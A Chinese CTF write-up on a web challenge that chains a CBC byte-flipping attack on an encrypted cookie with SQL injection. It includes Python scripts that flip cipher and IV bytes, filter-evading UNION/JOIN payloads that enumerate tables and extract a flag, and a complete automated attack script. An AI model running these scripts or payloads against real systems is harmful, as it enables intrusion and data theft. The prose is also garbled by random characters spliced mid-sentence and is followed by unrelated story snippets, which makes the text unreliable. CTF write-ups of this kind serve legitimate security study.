簡(jiǎn)單登錄題-關(guān)于CBC字節(jié)翻轉(zhuǎn)攻擊

以下內(nèi)容主要參考pcat的writeup,并加入個(gè)人的一點(diǎn)理解噪奄。

一死姚、題目概況

1人乓、題目

CTF實(shí)驗(yàn)吧的一道題目勤篮,比較有意思,記下來(lái)以供回顧色罚。URL:http://ctf5.shiyanbar.com/web/jiandan/index.php碰缔,進(jìn)入后顯示

無(wú)論輸什么id,均返回:Hello!

2戳护、入手

在進(jìn)入登錄界面時(shí)抓包金抡,看響應(yīng)中有提示:tips:test.php

則登錄http://ctf5.shiyanbar.com/web/jiandan/test.php,查看源代碼:

該代碼功能大致如下:

?????? 1腌且、如果id不為空梗肝,則根據(jù)接收到的id生成數(shù)組info[‘id’: id值]。將該數(shù)組進(jìn)行序列化之后铺董,以序列化結(jié)果和一個(gè)隨機(jī)數(shù)iv進(jìn)行cbc加密生成密文cipher巫击,加密算法為"aes-128-cbc"。最后在響應(yīng)中將cookie設(shè)為iv和cipher(這兩個(gè)值均先base64編碼,再URL編碼)坝锰。以上由test.php中的主代碼和login()函數(shù)完成粹懒。

?????? 2、如果id為空顷级,則根據(jù)報(bào)文頭cookie里的iv和cipher值進(jìn)行解密凫乖,并將解密結(jié)果反向序列化之后恢復(fù)出info,進(jìn)而得到id值$info['id']弓颈,并執(zhí)行以下查詢:

????????????? sql="select * from users limit ".$info['id'].",0";

??????? 以上由test.php中的主代碼和show_homepage()函數(shù)完成帽芽。

?????? 3、可以看到恨豁,由于limit第二個(gè)參數(shù)為0嚣镜,則無(wú)論id是什么均不會(huì)返回結(jié)果,但如果能利用id進(jìn)行注入橘蜜,則可以獲得我們想要的結(jié)果菊匿。

?????? 4、利用id注入的關(guān)鍵是繞過(guò)test代碼中的防火墻sqliCheck($str):

??????????????????? preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)

?????? 該代碼過(guò)濾了絕大多數(shù)特殊字符计福,如:-跌捆、#、=象颖、~ 佩厚、union、like说订、procedure抄瓦。因此要直接通過(guò)id注入較難。但是可以看到代碼中并沒(méi)有對(duì)解密后的id進(jìn)行過(guò)濾陶冷,因此我們可以利用cbc字節(jié)翻轉(zhuǎn)攻擊更改cipher钙姊,并進(jìn)而更改解密后id,從而繞過(guò)防火墻埂伦。

?二煞额、cbc字節(jié)翻轉(zhuǎn)攻擊的基本原理

1、cbc解密過(guò)程

?????? 如圖:

?????? 可以看到明文的生成是先對(duì)密文分組解密后沾谜,再異或上一組密文后得到膊毁。因此,如果我們能更改上一組密文基跑,則可以更改明文婚温。

?2、cbc攻擊原理

?????? 1)設(shè)明文原文為P_old媳否,要更改為P_new栅螟;上一組密文原文為C_old栈顷,要更改為C_new;嵌巷,密文解密后和上一組密文異或前的中間數(shù)據(jù)為M萄凤。

??????? 如果我們能將C_new設(shè)置為:

???????????????? C_new = C_old ⊕ P_old ⊕ P_new?? ---- 公式 1

???????? 由于

????????????????? P_old = M ⊕ C_old

?????? 則有

????????????????? M ⊕ C_new = M ⊕ C_old ⊕ P_old ⊕ P_new

??????????????????= P_old ⊕ P_old ⊕ P_new = P_new

?????? 則可以得到P_new

??????? 2)以第二組明文的更改為例,由于C_old(即cipher以128位(或16字節(jié))分組的第二組)搪哪、P_old(即數(shù)組info序列化后明文的第二組)靡努、P_new(要更改的明文)都已知,因此可以通過(guò)公式1得到C_new晓折,并執(zhí)行cbc字節(jié)翻轉(zhuǎn)攻擊惑朦。

??????? 3)由于第一組密文被更改,因此第一組明文也相應(yīng)改變漓概,此時(shí)反序列化會(huì)失敗漾月。因此還需要根據(jù)同樣原理將第一組明文改回來(lái),此時(shí)可以將iv進(jìn)行改變(類似C_old與C_new)胃珍,并進(jìn)而改變第一組明文梁肿。有:

??? ? ? ? ? ? iv_new = iv_old ⊕ P_old ⊕ P_new????? —— 公式2

此時(shí)iv_old為第一次生成的iv,P_old為序列化失敗后返回的明文的第一組(前16字節(jié))觅彰,P_new為需要改變的明文(即正確的序列化數(shù)據(jù)的第一組吩蔑,也就是第一次的info序列化后的前16字節(jié))。

??????? 4)一些注意事項(xiàng)

?? ? ? ? ? ? a)iv和cipher解密前都要先URL解碼填抬,再b64解碼烛芬,同樣加密前應(yīng)先b64編碼,再URL編碼飒责;

?? ? ? ? ? ? b)第一組密文要改變的字符位置要和第二組明文中相對(duì)應(yīng)赘娄,比如第二組明文中第四字節(jié)是2,要改成#宏蛉,則第一組密文中也要改第四字節(jié)(即C_old[3])遣臼,即公式1實(shí)現(xiàn)形式為

????????????????????? C_old[3] = C_old[3] ⊕‘2’⊕‘#’

????實(shí)際操作中,要寫(xiě)一個(gè)php腳本對(duì)真實(shí)數(shù)據(jù)序列化后來(lái)判斷偏移量檐晕。

三暑诸、攻擊實(shí)際步驟

?1蚌讼、首先驗(yàn)證cbc攻擊是否可行

??????? 構(gòu)造id=12辟灰。目標(biāo)是修改12為1#,這樣就能注釋掉sql查詢中的“,0”篡石。以id=12提交請(qǐng)求后記錄cipher和iv:

?2芥喇、計(jì)算偏移量

?????? 用以下的php腳本對(duì)數(shù)組序列化,并將結(jié)果按16字節(jié)長(zhǎng)度進(jìn)行分組后輸出:

<?php

$id = "12";

$info = array('id'=>$id);

$plain = serialize($info);

$row=ceil(strlen($plain)/16);

for($i=0;$i<$row;$i++){

??? echo substr($plain,$i*16,16).'';

}

?>

運(yùn)行后顯示:

a:1:{s:2:"id";s:

2:"12";}

可以看到凰萨,如果要將第二組明文中“12”的2改為#继控,則偏移量為4械馆,則應(yīng)對(duì)第一組密文同樣偏移量的字節(jié)進(jìn)行操作。

3武通、更改第一組密文

綜上霹崎,更改第一組密文的python腳本如下,注意該腳本為python2.7環(huán)境:

# -*- coding:utf8 -*-

from base64 import *

import urllib

cipher='fn060OBP%2FyLIGYrD9bi%2FlWWAS9RIWvEtALaV26kuB%2F8%3D'

cipher_raw=b64decode(urllib.unquote(cipher))

lst=list(cipher_raw)

idx=4

c1='2'

c2='#'

lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))

cipher_new=''.join(lst)

cipher_new=urllib.quote(b64encode(cipher_new))

print cipher_new

運(yùn)行腳本冶忱,得到cipher_new為:

????????????fn060PFP/yLIGYrD9bi/lWWAS9RIWvEtALaV26kuB/8%3D

4尾菇、更改iv

?????? 將cipher_new的值賦給cookie的cipher,iv值不變囚枪,重新發(fā)送請(qǐng)求派诬,此時(shí)由于第一組明文被改變,導(dǎo)致反序列化失敗链沼,響應(yīng)如圖:

?????? 我們需要把響應(yīng)中的內(nèi)容(即改變密文后解密出的明文)記錄下來(lái)默赂,取前16字節(jié)按公式2進(jìn)行操作以得到iv_new。腳本如下:

# -*- coding:utf8 -*-

__author__='pcat@chamd5.org'

from base64 import *

import urllib

iv='erUDGVSvM4Kab3ztg8vT8Q%3D%3D'

iv_raw=b64decode(urllib.unquote(iv))

first='a:1:{s:2:"id";s:'

plain=b64decode('eFoXA0j/x2Em/bhfgeLzXjI6IjEjIjt9')

iv_new=''

for i in range(16):

??? iv_new+=chr(ord(plain[i])^ord(first[i])^ord(iv_raw[i]))

iv_new=urllib.quote(b64encode(iv_new))

print iv_new

運(yùn)行括勺,得到iv_new為Y9UlIGcjztGGsK3WIBJTlQ%3D%3D

5缆八、執(zhí)行注入

????? 以iv_new替換原iv,和cipher_new一起重新提交疾捍,則可以看到已經(jīng)返回所需要的結(jié)果耀里,即rootzz(根據(jù)test.php中的查詢腳本,應(yīng)該是user表的username列的第一行值)拾氓。此時(shí)已經(jīng)將12替換成1#冯挎,完成注入。

6咙鞍、進(jìn)一步注入

?????? 1)查詢顯位

??????? 但這個(gè)并不是flag房官,還需進(jìn)一步注入。構(gòu)造id為:

??????? 0 2nion select * from((select 1)a join (select 2)b join (select 3)c);%00

??????? 重復(fù)上面的步驟(注意改密文腳本中的idx续滋、c1翰守、c2此時(shí)分別為6、‘2’疲酌、‘u’)蜡峰,目標(biāo)是將2union改為union。

? ? ?? 該payload的第一個(gè)0用于和sql語(yǔ)句“sql="select * from users limit ".$info['id'].",0";” 中的limit組合朗恳,使得查詢前面部分返回結(jié)果集的數(shù)目為0湿颅,也即屏蔽掉“select * from users”部分。

?????? union查詢用于查詢顯位(根據(jù)union查詢?cè)碇嘟耄瑄nion查詢select數(shù)必須與原查詢表中字段數(shù)一致油航,此處已經(jīng)暴力破解users表最大字段數(shù)為3。顯位是指網(wǎng)頁(yè)中哪些字段會(huì)被顯示)怀浆。

???????? 由于逗號(hào)會(huì)被過(guò)濾谊囚,此處用join替代怕享,同時(shí)寫(xiě)法也相應(yīng)改變。最后的“;%00”用于注釋掉原sql中最后的“镰踏,0”函筋。

???????? 最后響應(yīng)結(jié)果為Hello!2,因此顯位為2奠伪。

???? 2)查詢表名

?????? 再次構(gòu)造id:

?0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);%00

?????? 重復(fù)上面步驟(注意由于payload長(zhǎng)度改變驻呐,導(dǎo)致序列化后的長(zhǎng)度改變,因此改密文腳本中的偏移量idx要改為7)芳来。該payload是mysql環(huán)境下查詢表名的注入語(yǔ)句含末,其中的=用regexp替代。

?????? 得到響應(yīng)結(jié)果為:Hello!users,you_want即舌,即當(dāng)前數(shù)據(jù)庫(kù)有兩個(gè)表為users和you_want佣盒,猜測(cè)flag在you_want表中。

????? 3)查詢字段名

??? 再次構(gòu)造id:

0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);%00

????? 用于查詢you_want表中的column名稱顽聂,此時(shí)偏移量依然為7肥惭。?

????? 返回Hello!users,value,可知只有一個(gè)字段value紊搪。

?????? 4) 查詢數(shù)據(jù)

?????? 最后構(gòu)造id:

0 2nion select * from((select 1)a join (select value from you_want limit 1)b join (select 3)c);%00

?????? 此時(shí)偏移量為6蜜葱。 重復(fù)上面步驟,返回

??????????? Hello!flag{c42b2b758a5a36228156d9d671c37f19}耀石。

????? 注入成功牵囤,獲得flag。

四滞伟、自動(dòng)攻擊腳本

????? 以上步驟的批量執(zhí)行腳本如下揭鳞。為適合自動(dòng)化運(yùn)行,此時(shí)的%00用chr(0)替代梆奈。

# -*- coding:utf8 -*-

# 請(qǐng)保留我的個(gè)人信息野崇,謝謝~!

__author__='pcat@chamd5.org'

from base64 import *

import urllib

import requests

import re

def mydecode(value):

??? return b64decode(urllib.unquote(value))

def myencode(value):

??? return urllib.quote(b64encode(value))

def mycbc(value,idx,c1,c2):

??? lst=list(value)

??? lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))

??? return ''.join(lst)

def pcat(payload,idx,c1,c2):

? ??url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'

??? myd={'id':payload}

??? res=requests.post(url,data=myd)

??? cookies=res.headers['Set-Cookie']

??? iv=re.findall(r'iv=(.*?),',cookies)[0]

??? cipher=re.findall(r'cipher=(.*)',cookies)[0]

??? iv_raw=mydecode(iv)

??? cipher_raw=mydecode(cipher)

??? cipher_new=myencode(mycbc(cipher_raw,idx,c1,c2))

??? cookies_new={'iv':iv,'cipher':cipher_new}

??? cont=requests.get(url,cookies=cookies_new).content

??? plain=b64decode(re.findall(r"base64_decode\('(.*?)'\)",cont)[0])

??? first='a:1:{s:2:"id";s:'

??? iv_new=''

??? for i in range(16):

??????? iv_new+=chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))

??? iv_new=myencode(iv_new)

??? cookies_new={'iv':iv_new,'cipher':cipher_new}

??? cont=requests.get(url,cookies=cookies_new).content

??? print 'Payload:%s\n>> ' %(payload)

??? print cont

??? pass

def foo():

??? pcat('12',4,'2','#')

??? pcat('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')

??? pcat('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')

??? pcat("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')

??? pcat("0 2nion select * from((select 1)a join (select value from you_want limit 1)b join (select 3)c);"+chr(0),6,'2','u')

??? pass

if __name__ == '__main__':

??? foo()

??? print 'ok'

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末亩钟,一起剝皮案震驚了整個(gè)濱河市乓梨,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌清酥,老刑警劉巖扶镀,帶你破解...
    沈念sama閱讀 222,000評(píng)論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異总处,居然都是意外死亡狈惫,警方通過(guò)查閱死者的電腦和手機(jī)睛蛛,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,745評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門(mén)鹦马,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)胧谈,“玉大人,你說(shuō)我怎么就攤上這事荸频×庑ぃ” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 168,561評(píng)論 0 360
  • 文/不壞的土叔 我叫張陵旭从,是天一觀的道長(zhǎng)稳强。 經(jīng)常有香客問(wèn)我,道長(zhǎng)和悦,這世上最難降的妖魔是什么退疫? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 59,782評(píng)論 1 298
  • 正文 為了忘掉前任,我火速辦了婚禮鸽素,結(jié)果婚禮上褒繁,老公的妹妹穿的比我還像新娘。我一直安慰自己馍忽,他們只是感情好棒坏,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,798評(píng)論 6 397
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著遭笋,像睡著了一般坝冕。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上瓦呼,一...
    開(kāi)封第一講書(shū)人閱讀 52,394評(píng)論 1 310
  • 那天喂窟,我揣著相機(jī)與錄音,去河邊找鬼央串。 笑死谎替,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的蹋辅。 我是一名探鬼主播钱贯,決...
    沈念sama閱讀 40,952評(píng)論 3 421
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼侦另!你這毒婦竟也來(lái)了秩命?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 39,852評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤褒傅,失蹤者是張志新(化名)和其女友劉穎弃锐,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體殿托,經(jīng)...
    沈念sama閱讀 46,409評(píng)論 1 318
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡霹菊,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,483評(píng)論 3 341
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了支竹。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片旋廷。...
    茶點(diǎn)故事閱讀 40,615評(píng)論 1 352
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡鸠按,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出饶碘,到底是詐尸還是另有隱情目尖,我是刑警寧澤,帶...
    沈念sama閱讀 36,303評(píng)論 5 350
  • 正文 年R本政府宣布扎运,位于F島的核電站瑟曲,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏豪治。R本人自食惡果不足惜洞拨,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,979評(píng)論 3 334
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望负拟。 院中可真熱鬧扣甲,春花似錦、人聲如沸齿椅。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 32,470評(píng)論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)涣脚。三九已至示辈,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間遣蚀,已是汗流浹背矾麻。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,571評(píng)論 1 272
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留芭梯,地道東北人险耀。 一個(gè)月前我還...
    沈念sama閱讀 49,041評(píng)論 3 377
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像玖喘,于是被迫代替她去往敵國(guó)和親甩牺。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,630評(píng)論 2 359